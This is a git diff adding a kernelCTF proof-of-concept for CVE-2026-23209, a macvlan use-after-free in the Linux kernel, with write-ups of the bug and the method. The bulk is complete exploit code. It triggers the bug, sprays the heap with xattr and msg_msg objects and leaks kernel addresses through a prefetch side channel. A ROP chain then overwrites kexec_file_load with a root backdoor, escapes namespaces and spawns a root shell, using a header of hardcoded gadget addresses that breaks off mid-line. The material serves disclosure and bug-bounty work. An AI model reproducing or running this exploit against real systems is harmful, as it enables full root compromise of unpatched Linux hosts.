diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/exploit.md new file mode 100644 index 000000000..6aac379b2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/exploit.md @@ -0,0 +1,108 @@ +## Setup + +Macvlan interfaces need to be created on top of a "real" (loopback won't work) ethernet interface, so first we need to create a veth pair. + +Next step is to create a macvlan interface "mv0" in a source mode. In this mode destination vlan is chosen based on the source mac address of the packet. +When creating mv0 we set the source address to "00:00:00:00:00:90", so only packets from this address will be handled by mv0. + +Now we try to create a second macvlan interface on the same physical interface as mv0, but with 2 differences: +- source address is set to 00:00:00:00:00:20 - this is the address of the veth0 interface, so all packets sent from veth0 will be handled by our newly created macvlan instance +- we specify an invalid interface name to trigger register_netdevice() failure + +This causes the newly created net_device object to be freed while it's still referenced in the source hash of the veth0's macvlan port. +net_device is allocated from kmalloc-cg-4k and can be easily reallocated using msg_msg primitive. + +## Triggering the use-after-free + +Sending a packet through veth0 will result in a use-after-free in macvlan_forward_source_one(): + +``` +static void macvlan_forward_source_one(struct sk_buff *skb, + struct macvlan_dev *vlan) +{ + struct sk_buff *nskb; + struct net_device *dev; + int len; + int ret; + + dev = vlan->dev; + if (unlikely(!(dev->flags & IFF_UP))) + return; + + pr_debug("dev is up\n"); + nskb = skb_clone(skb, GFP_ATOMIC); + if (!nskb) + return; + + len = nskb->len + ETH_HLEN; + nskb->dev = dev; + + if (ether_addr_equal_64bits(eth_hdr(skb)->h_dest, dev->dev_addr)) + nskb->pkt_type = PACKET_HOST; + + ret = __netif_rx(nskb); + macvlan_count_rx(vlan, len, ret == NET_RX_SUCCESS, false); +} + +``` + +vlan argument points to a freed net_device object that is controlled by us, so we also control the dev field of the skb passed to ` __netif_rx()`. + +## Getting RIP control + +The skb will be enqueued to backlog and eventually `__netif_receive_skb_core` will be called. This function looks at skb->dev->ptype_all to check for handlers registered to receive all packets: + +``` + list_for_each_entry_rcu(ptype, &skb->dev->ptype_all, list) { + if (pt_prev) + ret = deliver_skb(skb, pt_prev, orig_dev); + pt_prev = ptype; + } +``` + +If skb->dev->ptype_all has a valid entry, deliver_skb calls ->func pointer of the ptype_all entry: + +``` +static inline int deliver_skb(struct sk_buff *skb, + struct packet_type *pt_prev, + struct net_device *orig_dev) +{ + if (unlikely(skb_orphan_frags_rx(skb, GFP_ATOMIC))) + return -ENOMEM; + refcount_inc(&skb->users); + return pt_prev->func(skb, skb->dev, pt_prev, orig_dev); +} +``` + +Since we control skb->dev->ptype_all we can point it to our fake struct packet_type and get RIP control, but we have to place net_device and packet_type at a known address in kernel address space. +This is accomplished by leaking page_offset_base though a side-channel and allocating a lot of large simple_xattr objects to fill most of physical memory with copies of our payload. +We can then point skb->dev to (page_offset_base + arbitrary offset) and have a good chance of finding our payload. + +## Pivot to ROP + +When .func is called in deliver_skb RSI points to our fake net_device object. + +Following gadgets are used to pivot stack to our ROP chain: + +``` +push rsi +jmp qword [rsi + 0xf] +``` + +and + +``` +pop rsp +ret +``` + +## Privilege escalation +Our ROP is executed from the ksoftirqd kernel thread context, so we can't do a traditional commit_creds() to modify the current process's privileges. + +To solve this issue we patch the kernel code, creating a backdoor that will grant root privileges to any process that executes a given syscall. + +We chose a rarely used kexec_file_load() syscall and overwrote its code with our get_root function that does all traditional privileges escalation/namespace escape stuff: commit_creds(init_cred), switch_task_namespaces(pid, init_nsproxy) etc. + +This function also returns a special value (0x777) that our user space code can use to detect if the system was already compromised. + +Patching the kernel function is done rop_patch_kernel_code() - it calls set_memory_rw() on destination memory and uses memcpy() to write new code there. diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/vulnerability.md new file mode 100644 index 000000000..2267743ff --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/docs/vulnerability.md @@ -0,0 +1,58 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN and CAP_NET_RAW in a namespace is required +- Kernel configuration: CONFIG_PACKET +- User namespaces required: yes + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa5fd0fb77486b8a6764ead8627baa14790e4280 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f8db6475a83649689c087a8f52486fcc53e627e9 + +## Affected kernel versions + +Introduced in 4.9. Fixed in 6.1.163 and other stable trees. + +## Affected component, subsystem + +net/packet + +## Description + +The issue is triggered when a new macvlan link is created with +MACVLAN_MODE_SOURCE mode and MACVLAN_MACADDR_ADD (or +MACVLAN_MACADDR_SET) parameter, lower device already has a macvlan +port and register_netdevice() called from macvlan_common_newlink() +fails (e.g. because of the invalid link name). + +In this case macvlan_hash_add_source is called from +macvlan_change_sources() / macvlan_common_newlink(): + +This adds a vlan reference to the port's vlan_source_hash using +macvlan_source_entry. + +vlan is a pointer to the priv data of the link that is being created. + +When register_netdevice() fails, the error is returned from +macvlan_newlink() to rtnl_newlink_create(): + +... + if (ops->newlink) + err = ops->newlink(dev, ¶ms, extack); + else + err = register_netdevice(dev); + if (err < 0) { + free_netdev(dev); + goto out; + } +... + +and free_netdev() is called, causing a kvfree() on the struct +net_device that is still referenced in the source entry attached to +the lower device's macvlan port. + +Now all packets sent on the macvlan port with a matching source mac +address will trigger a use-after-free in macvlan_forward_source(). diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/Makefile b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/Makefile new file mode 100644 index 000000000..6b7a16622 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/Makefile @@ -0,0 +1,7 @@ +INCLUDES = +LIBS = -pthread -lkernelXDK +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none -Wno-writable-strings + +exploit: exploit.cpp kernelver_18244.521.55.h kaslr.c target.kxdb + g++ -o $@ exploit.cpp kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + objcopy --add-section tools=tools.tar.gz $@ diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit new file mode 100755 index 000000000..89b135f45 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit.cpp new file mode 100644 index 000000000..448605969 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/exploit.cpp @@ -0,0 +1,730 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_18244.521.55.h" + +#include +#include + +INCBIN(target_db, "target.kxdb"); + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +static uint64_t g_page_offset_base; +uint64_t leak_kernel_text(); +uint64_t leak_direct_mapping(); + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 51000 +#define DIRECT_MAP_OFFSET 0x06000000 + + +static Target target = Target("kernelctf", "cos-113-18244.521.55"); +static int g_pwned; + +#define KOFFSET(x) (x-0xffffffff81000000uL) + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} +uint64_t kaddr_offset(uint64_t offset) +{ + return g_kernel_text + offset; +} + +void __attribute__((naked)) get_root() +{ + asm volatile( + "push %r15\n" + "push %r14\n" + "push %r13\n" + "push %r12\n" + "push %rbx\n" + "push %rbp\n" + "lea -0x263e51(%rip), %r15\n" + ); + asm volatile( + "lea (%%r15,%0), %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_CRED)), + "r" (KOFFSET(COMMIT_CREDS)) + ); + + asm volatile( + "lea (%%r15,%0), %%r12\n" + "mov $1, %%rdi\n" + "call *%%r12\n" + "mov %%rax, %%r13\n" + :: + "r" (KOFFSET(FIND_TASK_BY_VPID)) + ); + + asm volatile( + "movq 0x840(%%r13), %%r14\n" +// increase nsproxy->refcnt + "movq $0x10, (%%r14)\n" + "lea (%%r15,%0), %%rsi\n" + "mov %%r13, %%rdi\n" + "lea (%%r15,%1), %%r12\n" + "call *%%r12\n" + :: + "r" (KOFFSET(INIT_NSPROXY)), + "r" (KOFFSET(MY_SWITCH_TASK_NAMESPACES)) + ); + + asm volatile( + "lea (%%r15,%0), %%rcx\n" + "pop %%rbp\n" + "pop %%rbx\n" + "pop %%r12\n" + "pop %%r13\n" + "pop %%r14\n" + "pop %%r15\n" + "mov $0x777, %%rax\n" + "jmp *%%rcx\n" + :: + "r" (KOFFSET(RETURN_THUNK)) + ); + +} + + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x5000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +void setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } +} + +int create_macvlan_prep(char *name, char *master, unsigned char source_suffix) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + netlink_init(&nlmsg, RTM_NEWLINK, NLM_F_REQUEST|NLM_F_CREATE, &hdr, sizeof(hdr)); + + netlink_attr(&nlmsg, IFLA_IFNAME, name, strlen(name)); + + int ifindex = if_nametoindex(master); + netlink_attr(&nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); + + char kind[] = "macvlan"; + netlink_nest(&nlmsg, IFLA_LINKINFO); + netlink_attr(&nlmsg, IFLA_INFO_KIND, &kind, sizeof(kind)); + + netlink_nest(&nlmsg, IFLA_INFO_DATA); + uint32_t mode = MACVLAN_MODE_SOURCE; + netlink_attr(&nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); + + uint32_t mac_mode = MACVLAN_MACADDR_ADD; + netlink_attr(&nlmsg, IFLA_MACVLAN_MACADDR_MODE, &mac_mode, sizeof(mac_mode)); + + char mac_addr[6] = {0}; + mac_addr[5] = source_suffix; + + netlink_attr(&nlmsg, IFLA_MACVLAN_MACADDR, mac_addr, sizeof(mac_addr)); + netlink_done(&nlmsg); + + netlink_done(&nlmsg); + + return sock; +} + +void create_macvlan(char *name, char *link, unsigned char source_suffix) +{ + struct sockaddr_nl nl_addr; + + int create_sock = create_macvlan_prep(name, link, source_suffix); + + memset(&nl_addr, 0, sizeof(nl_addr)); + nl_addr.nl_family = AF_NETLINK; + + netlink_send(&nlmsg, create_sock); + + close(create_sock); +} + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); +} + +void after_pwn() +{ + g_pwned = 1; + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + _exit(0); +} + +void rop_patch_kernel_code(uint64_t **rop_p, uint64_t dst, uint64_t src, size_t len) +{ + + uint64_t *rop = *rop_p; + *rop++ = kaddr(POP_RSI); + *rop++ = 0x100; + *rop++ = kaddr(POP_RDI); + *rop++ = dst & (~0xfffff); + *rop++ = kaddr_offset(target.GetSymbolOffset("set_memory_rw")); + + *rop++ = kaddr(POP_RDI_RSI_RDX_RCX); + *rop++ = dst; + *rop++ = src; + *rop++ = len; + *rop++ = 0xdeadbeef; + *rop++ = kaddr_offset(target.GetSymbolOffset("memcpy")); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2, uint64_t *const_area, uint64_t const_area_kernel) + +{ + uint64_t *rop2_start = rop2; + + memcpy((void *) const_area, (void *) get_root, 0x200); + +// jump over important net_device fields + *rop2++ = kaddr(ADD_RSP_0x4d8); + rop2 += 0x9b; + + rop_patch_kernel_code(&rop2, kaddr_offset(target.GetSymbolOffset("__do_sys_kexec_file_load")), (uint64_t) const_area_kernel, 0x200); + + *rop2++ = kaddr(POP_RDI); + *rop2++ = 10000000; + *rop2++ = kaddr_offset(target.GetSymbolOffset("msleep")); + + return (char *) rop2 - (char *) rop2_start; +} + + +void alloc_msg(size_t len, char *buf) +{ + long *msg; + static size_t msg_allocated = 0; + static int qid = -1; + static int key = 0x11234; + + len -= target.GetStructSize("msg_msg"); + + if (msg_allocated + len > 16000) { + qid = -1; + key++; + msg_allocated = 0; + } + + + if (qid < 0) { + qid = msgget(key, IPC_CREAT | 0600); + } + + if (qid < 0) + err(1, "msgget"); + + msg = (long *) malloc(sizeof(long) + len); + if (!msg) + err(1, "malloc"); + + *msg = 1; + memcpy(msg+1, buf, len); + + if (msgsnd(qid, msg, len, IPC_NOWAIT)) + err(1, "msgsnd"); + + msg_allocated += len; + + free(msg); +} + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - target.GetStructSize("simple_xattr"), XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr %s", attr); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + + +int setup_packetsock(struct sockaddr_ll *addr) +{ + int sock; + + sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); + if (sock < 0) + err(1, "packet socket"); + + struct ifreq s_ifr; + strcpy(s_ifr.ifr_name, "veth0"); + +/* get interface index */ + if (ioctl(sock, SIOCGIFINDEX, &s_ifr) < 0) + err(1, "ioctl"); + +/* fill sockaddr_ll struct to prepare binding */ + addr->sll_family = AF_PACKET; + addr->sll_protocol = htons(ETH_P_IP); + addr->sll_ifindex = s_ifr.ifr_ifindex; + addr->sll_halen = ETH_ALEN; + + return sock; +} + + +void prepare_fake_dev(char *dev, uint64_t ptype_location) +{ + memset(dev, 'A', 1024); + +// Used by push rsi; jmp qword [rsi + 0xF] gadget + *(uint64_t *) (dev + 0xF) = kaddr(POP_RSP); + + prepare_rop2((uint64_t *) dev, (uint64_t *) (dev + 0x2000), ptype_location + 0x1000); + +// .ptype_all + *(uint64_t *) (dev + 0x80) = ptype_location + 0x38; // packet_type.list + *(uint32_t *) (dev + target.GetFieldOffset("net_device", "flags")) = IFF_UP; + *(uint64_t *) (dev + target.GetFieldOffset("net_device", "dev_addr")) = kaddr(RW_BUFFER); +} + +void prepare_fake_packet_type(char *ptype) +{ + memset(ptype, 'B', 0x100); + +// .func + *(uint64_t *) (ptype + target.GetFieldOffset("packet_type", "func")) = kaddr(PUSH_RSI_JMP_QWORD_RSI_0F); +} + +int main(int argc, char **argv) +{ + setbuf(stdout, NULL); + + system("cat /proc/cpuinfo"); + g_kernel_text = leak_kernel_text(); + printf("Using kernel base: 0x%lx\n", g_kernel_text); + + g_page_offset_base = leak_direct_mapping(); + printf("Using page_offset_base 0x%lx\n", g_page_offset_base); + + + TargetDb kxdb("target.kxdb", target_db); + target = kxdb.AutoDetectTarget(); + + chdir("/tmp"); + + system("objcopy --dump-section tools=tools.tar.gz /tmp/exp/exploit"); + system("tar -xpf tools.tar.gz"); + + setup_namespaces(); + setup_network(NULL); + + g_mmapped_buf = (char *) mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + set_cpu(0); + + int xfd = -1; + unsigned int xattr_fd_idx = 0; + char fname[512]; + + uint64_t dev_location = g_page_offset_base + DIRECT_MAP_OFFSET + target.GetStructSize("simple_xattr"); + uint64_t ptype_location = dev_location + 0x1000; + + prepare_fake_dev(g_mmapped_buf, ptype_location); + prepare_fake_packet_type(g_mmapped_buf + 0x1000); + + for (int i = 0; i < XATTR_CNT; i++) + { + if (i == 0 || (i / XATTR_CHUNK) > xattr_fd_idx) { + xattr_fd_idx = i / XATTR_CHUNK; + if ((i % 1000) == 0) + printf("xattrs %d/%d\n", i, XATTR_CNT); + + snprintf(fname, sizeof(fname), "/tmp/x_%d", xattr_fd_idx); + + xfd = open(fname, O_RDWR|O_CREAT, 0600); + if (xfd < 0) + err(1, "xattr open\n"); + } + + alloc_xattr_fd(xfd, i, 65535, g_mmapped_buf); + } + + + +// Disable IPv6 to avoid packets sent by kernel threads + system("echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6"); + + system("./ip link add p1 type veth peer p2"); + system("./ip link set address 00:00:00:00:00:20 dev veth0"); + system("./ip link set up dev veth0"); + system("./ip link set up dev p1"); + + create_macvlan("mv0", "p1", 0x90); + + struct sockaddr_ll addr; + int sock = setup_packetsock(&addr); + + create_macvlan("name%d%z", "p1", 0x20); + + memset(g_mmapped_buf, 0, MMAP_SIZE); + + *(uint64_t *) (g_mmapped_buf + target.GetStructSize("net_device") - target.GetStructSize("msg_msg")) = dev_location; + + alloc_msg(4000, g_mmapped_buf); + + int pid = fork(); + + if (pid) { + set_cpu(1); + if (sendto(sock, g_mmapped_buf, 100, MSG_DONTWAIT, (struct sockaddr *) &addr, sizeof(addr)) < 0) + err(1, "send"); + } + + sleep(1); + + syscall(__NR_kexec_file_load); + + after_pwn(); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kaslr.c b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kaslr.c new file mode 100644 index 000000000..0032d97ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kaslr.c @@ -0,0 +1,184 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + memset(hit_histogram,0,4000*sizeof(size_t)); + + for (int i = 0; i < TRIES; ++i) + { + size_t d = onlyreload((void*)addr); + hit_histogram[MIN(3999,d)]++; + } + + size_t sum_hit = 0; + size_t hit_max = 0; + size_t hit_max_i = 0; + for (int i = 0; i < 4000; ++i) + { + if (hit_max < hit_histogram[i]) + { + hit_max = hit_histogram[i]; + hit_max_i = i; + } + sum_hit += hit_histogram[i] * i; + } + + return sum_hit / TRIES; +} + + +uint64_t leak_kernel_text() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffffffff81000000L; addr < 0xffffffffff000000L; addr += 0x1000000) + { + time = measure(addr); + +// if ((i++ % 16) == 0) +// printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} + +uint64_t leak_direct_mapping() +{ + cpu_set_t set; + uint64_t bad_time, time, addr; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + +// First measurement is always trash + bad_time = measure(0xffffffff00000000); + + bad_time = measure(0xffffffff00000000); + +// printf("Timing for non-existent kernel page: %zu\n", bad_time); + + unsigned long i = 0; + for (addr = 0xffff888000000000L; addr < 0xffffc88000000000L; addr += 0x10000000) + { + time = measure(addr); + + if ((i++ % 16) == 0) + printf("0x%lx: %zu\n", addr, time); + + if (time > 190) + break; + } + + printf("Found 0x%lx\n", addr); + +// Renable all CPUs + for (int i = 1; i < 4; i++) + { + CPU_SET(i, &set); + } + + if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) { + perror("sched_setaffinity"); + return -1; + } + + return addr; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kernelver_18244.521.55.h b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kernelver_18244.521.55.h new file mode 100644 index 000000000..111c479ff --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23209_cos/exploit/cos-113-18244.521.55/kernelver_18244.521.55.h @@ -0,0 +1,29 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff822bed80 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81c519d5 +#define FIND_TASK_BY_VPID 0xffffffff811cbfe0 +#define RETURN_THUNK 0xffffffff826054b0 +#define POP_RSP_RBP_RBX 0xffffffff81126165 +#define POP_RCX 0xffffffff8102ce4c +#define INIT_CRED 0xffffffff83a75d80 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0xffffffff81c6a668 +#define POP_RSI_RDX_RCX 0xffffffff810e0daa +#define INIT_NSPROXY 0xffffffff83a75b40 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff8132a5a4 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810e0da9 +#define POP_RSI_RDI 0xffffffff81afb1c1 +#define POP_RDX_RDI 0xffffffff8193519b +#define AUDIT_SYSCALL_EXIT 0xffffffff81288f30 +#define SYS_KEXEC_FILE_LOAD 0xffffffff81263e40 +#define RETURN_VIA_SYSRET 0xffffffff8240021b +#define MEMCPY 0xffffffff822c7b40 +#define SET_MEMORY_RW 0xffffffff8113d350 +#define COMMIT_CREDS 0xffffffff811d5670 +#define POP_RSI 0xffffffff8103042e +#define POP_RSP 0xffffffff816b9b70 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810e0da1 +#define POP_RDI 0xffffffff81194d8c +#define POP_RDX 0xffffffff8104df22 +#define RW_BUFFER 0xffffffff83500000 +#define MOV_RDI_RAX 0xffffffff81261b1d +#define ADD_RSP_0x4d8 